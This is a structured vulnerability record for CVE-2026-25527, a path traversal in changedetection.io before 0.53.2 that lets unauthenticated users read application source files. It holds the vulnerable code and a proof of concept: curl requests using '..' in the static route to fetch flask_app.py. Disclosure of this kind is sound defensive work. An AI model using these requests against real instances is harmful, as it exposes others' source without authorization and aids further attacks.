{"id":"CVE-2026-25527","aliases":["CVE-2026-25527","GHSA-9jj8-v89v-xjvw","PYSEC-2026-2124"],"related":[],"kind":"vulnerability","state":"published","title":"changedetection.io vulnerable to unauthenticated static path traversal","summary":"changedetection.io is a free open source web page change detection tool. In versions prior to 0.53.2, the `/static/<group>/<filename>` route accepts `group=\"..\"`, which causes `send_from_directory(\"static/..\", filename)` to execute. This moves the base directory up to `/app/changedetectionio`, enabling unauthenticated local file read of application source files (e.g., `flask_app.py`). Version 0.53.2 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"changedetection.io is a free open source web page change detection tool. In versions prior to 0.53.2, the `/static/<group>/<filename>` route accepts `group=\"..\"`, which causes `send_from_directory(\"static/..\", filename)` to execute. This moves the base directory up to `/app/changedetectionio`, enabling unauthenticated local file read of application source files (e.g., `flask_app.py`). Version 0.53.2 fixes the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\nThe `/static/<group>/<filename>` route accepts `group=\"..\"`, which causes `send_from_directory(\"static/..\", filename)` to execute. This moves the base directory up to `/app/changedetectionio`, enabling **unauthenticated local file read** of application source files (e.g., `flask_app.py`). Severity is **low information disclosure (C:L)**.\n\n### Details\nThe vulnerable code is in `changedetectionio/flask_app.py` inside `static_content()`:\n\n```\ngroup = re.sub(r'[^\\w.-]+', '', group.lower())\nfilename = re.sub(r'[^\\w.-]+', '', filename.lower())\n...\nreturn send_from_directory(f\"static/{group}\", path=filename)\n```\n\nThe `group` sanitization allows dots, so `group=\"..\"` passes validation.  \nThis results in `send_from_directory(\"static/..\", filename)`, effectively shifting the base directory to `/app/changedetectionio` and allowing reads of files in that directory.  \nThe route is unauthenticated, so **any user can retrieve source files** without logging in.\n\n> Limitation: the route only matches `/static/<group>/<filename>` and rejects slashes inside `filename`, so it cannot traverse further to arbitrary system paths like `/etc/passwd`. It is limited to files inside the application package directory.\n\n### PoC\n1) Start an instance (example: Docker on port 5050)\n```\ndocker run -d --name cdio -p 127.0.0.1:5050:5000 -v cdio-data:/datastore cdio-local\n```\n\n2) Reproduce  \n**(URL-encoded traversal)**\n```\ncurl -i http://127.0.0.1:5050/static/%2e%2e/flask_app.py\n```\n\n**(curl path passthrough)**\n```\ncurl --path-as-is -i http://127.0.0.1:5050/static/../flask_app.py\n```\n\n3) Observe that the response body contains Python source code from `flask_app.py`.\n\n### Impact\n- **Vulnerability type:** Directory Traversal / Local File Read\n- **Affected users:** Anyone with network access (no authentication required)\n- **Scope:** Source files under `/app/changedetectionio`\n- **Security impact:** Internal logic exposure can aid further exploitation (Confidentiality: Low)","format":"markdown","source":"ghsa"},{"lang":"es","text":"changedetection.io es una herramienta gratuita de código abierto para la detección de cambios en páginas web. En versiones anteriores a la 0.53.2, la ruta '/static//' acepta 'group=\"..\"', lo que provoca la ejecución de 'send_from_directory(\"static/..\", filename)'. Esto mueve el directorio base hasta '/app/changedetectionio', lo que permite la lectura de archivos locales sin autenticación de archivos fuente de la aplicación (por ejemplo, 'flask_app.py'). La versión 0.53.2 soluciona el problema.","source":"nvd"}],"published":"2026-02-19T14:18:18.933Z","modified":"2026-07-20T19:15:27.590Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.53.2","status":"affected"}],"vendor":"dgtlmoon","product":"changedetection.io","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.53.2"}],"ecosystem":"PyPI","package":"changedetection-io","purl":"pkg:pypi/changedetection-io","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.53.2"}],"vendor":"webtechnologies","product":"changedetection","cpe":"cpe:2.3:a:webtechnologies:changedetection:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.53.2"}],"ecosystem":"PyPI","package":"changedetection-io","purl":"pkg:pypi/changedetection-io","source":"pysec"}],"references":[{"url":"https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-9jj8-v89v-xjvw","tags":["evidence","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/dgtlmoon/changedetection.io/commit/9d38b4517364831889b5b0d7b3465fd060403fd4","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25527","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/dgtlmoon/changedetection.io","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/changedetection-io/PYSEC-2026-2124.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-02-19T15:34:52.835Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25527","url":"https://www.cve.org/CVERecord?id=CVE-2026-25527","licence":"CVE Terms of Use","modified":"2026-02-19T15:35:41.155Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9jj8-v89v-xjvw","url":"https://github.com/advisories/GHSA-9jj8-v89v-xjvw","licence":"CC-BY-4.0","modified":"2026-07-20T19:15:27.590Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25527","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25527","licence":"Public domain","modified":"2026-06-17T10:24:47.783Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2124","url":"https://osv.dev/vulnerability/PYSEC-2026-2124","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:16.972Z"}],"updatedAt":"2026-11-25T22:59:14.194Z","epss":{"score":0.01066,"percentile":0.64233,"date":"2026-11-30T12:00:22.000Z"}}